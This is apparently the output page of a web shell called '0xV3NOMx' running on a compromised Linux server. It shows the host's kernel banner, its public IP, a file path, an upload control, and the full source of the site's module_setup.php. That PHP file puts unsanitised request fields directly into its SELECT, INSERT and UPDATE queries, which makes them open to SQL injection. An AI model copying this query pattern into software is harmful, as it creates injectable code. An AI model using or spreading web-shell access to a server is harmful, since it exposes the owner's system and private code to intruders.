0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.116.24.238


Current Path : /proc/thread-self/root/var/www/oasis/src_old/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/src_old/module_setup.php

 
<?php
 function getModuleSetupForUpdate($aobj_context)
   {  
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $internal_code = $aobj_context->mobj_data["Code"];
    $get_data="select Code,Name,Value,FMODULE from markentrycodition where Code=$internal_code";    
	//echo $get_data;  	
    $lobj_rs = $aobj_context->mobj_db->GetRow($get_data);
    if(count($lobj_rs) > 0)
    echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,0,"success");
    else
    echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,-1,"Failure");
    return;
    }
	function saveModuleSetup($aobj_context)
	{
	
	$aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $code = $aobj_context->mobj_data["Code"];	
    $Name = $aobj_context->mobj_data["Name"];	
    $FMODULE = $aobj_context->mobj_data["FMODULE"];	
    $Value = $aobj_context->mobj_data["Value"];	
    $update_id = $aobj_context->mobj_data["update_id"];	
	
	$check_id="select count(*) as count  from markentrycodition 
		where Code={$code} or Name='{$Name}'"; 	
    $lobj_check_id = $aobj_context->mobj_db->GetRow($check_id);
	
		
	if($update_id==0)
    {
		if($lobj_check_id['count']==0)
		{
			$lstr_qry = "insert into 
								markentrycodition( 
								Code,Name,FMODULE,Value)
								values ( '".$code."','".$Name."','".$FMODULE."','".$Value."')";  
			//echo $lstr_qry;								
			$lobj_rs = $aobj_context->mobj_db->Execute($lstr_qry); 
			if($lobj_rs)
			{     
				$rdata = "inserted successfully.";
				print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
				return;
			 }
			else
			{
				$rdata = "insertion Failed.";
				print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"));      
			 } 						
		}	
	 else 	
	   {
		 $rdata = "Module Code/Name Already Exstis!";
		 print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
		 return $rdata;
	   }
	}
	else
	{	
	$update_module_setup="update markentrycodition set Code='{$update_id}',Name='{$Name}',FMODULE='{$FMODULE}',Value='{$Value}'
									where Code={$update_id}";
			$lobj_rs = $aobj_context->mobj_db->Execute($update_module_setup); 
    //echo $update_module_setup; 			
    if($lobj_rs)
         {     
            $rdata = "Updated successfully.";
            print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,0,"success"));
            return;
         }
        else
        {
            $rdata = "Updation Failed.";
            print_r($aobj_context->mobj_output->ToJSONEnvelope($rdata,-1,"Failure"));      
         } 	
			
	 }
	}
?>